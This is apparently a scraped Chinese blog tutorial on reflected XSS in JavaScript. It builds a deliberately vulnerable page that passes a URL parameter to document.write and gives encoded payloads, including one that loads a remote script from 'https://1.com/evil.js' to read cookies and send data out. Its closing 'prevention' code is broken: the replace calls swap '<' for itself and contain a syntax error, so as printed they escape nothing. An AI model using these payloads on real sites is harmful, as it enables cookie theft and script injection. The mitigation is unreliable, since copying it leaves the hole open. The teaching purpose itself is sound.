视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
js中xss跨站脚本攻击的简单理解
2020-11-27 19:32:54 责编:小采
文档


<!doctype html>
<html>
<head>
 <title>这是标题</title>
 <meta charset="utf-8">
</head>
<body>
 <script>
 var name = decodeURIComponent(window.location.search.substring(1)); // 获取参数
 console.log(name);
 document.write("hello " + name);
 </script>
</body>
</html>

访问

http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地静态服务器的搭建,使用host文件,强制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,因为js脚本不能本地运行,因为有跨域的

页面输出

 hello word

这是一个灰常正经的页面。
下面如果尝试输入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事实上现在的浏览器很智能了。已经自动解析了。已经自动暂停解析了,最后加上%3e被浏览器拦截,自动的,去掉以后,由于容错机制,自动生成
好吧,要不是这容错机制,xss还没法实验呢。无奈,现在太智能了,小白的手法,已经不行喽

<script>
</script>

导致能允许。好吧,去掉自动拦截,chrome直接禁止访问了。╮(╯▽╰)╭
使用的是预解析,自动平衡树

此时script变身成为

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就会出现一个弹窗,David
因为使用这个url自动生成一个另外一个脚本,由于浏览器自动的安全措施,所以使用浏览器页面预解析,写一个不平衡的树,初始浏览器解析的时候自动添加上

<script>
</script>
事实上,现在基本上都会屏蔽掉的,和sql注入一样,都是非常小白的攻击手法。╮(╯▽╰)╭

导致出现弹窗,xss完成
接着下面还有
使用src引入一个脚本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

这样就完成了一次脚本的注入。会将其他站点的脚本,通过连接进行注入。
可以对该站点的内容做任何的操作,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是这样干的,在页面中加入js脚本,通过更改页面的js来达到对页面修改的目的

预防

通过使用replace()全部替换为实体即可。

name = name.replace(/</g, "<"),replace(/>/g, ">");

总结

xss和sql注入一样,属于小白攻击法,要说简单也很简单,要说难也很难

拒绝服务攻击

如果一个站点无限弹窗,浏览器会卡死。包括使用js挖矿什么的,都不值得一提了。

相关文章:

利用PHP编程防范XSS跨站脚本攻击

如何利用php防止XSS跨站脚本攻击

下载本文
显示全文
专题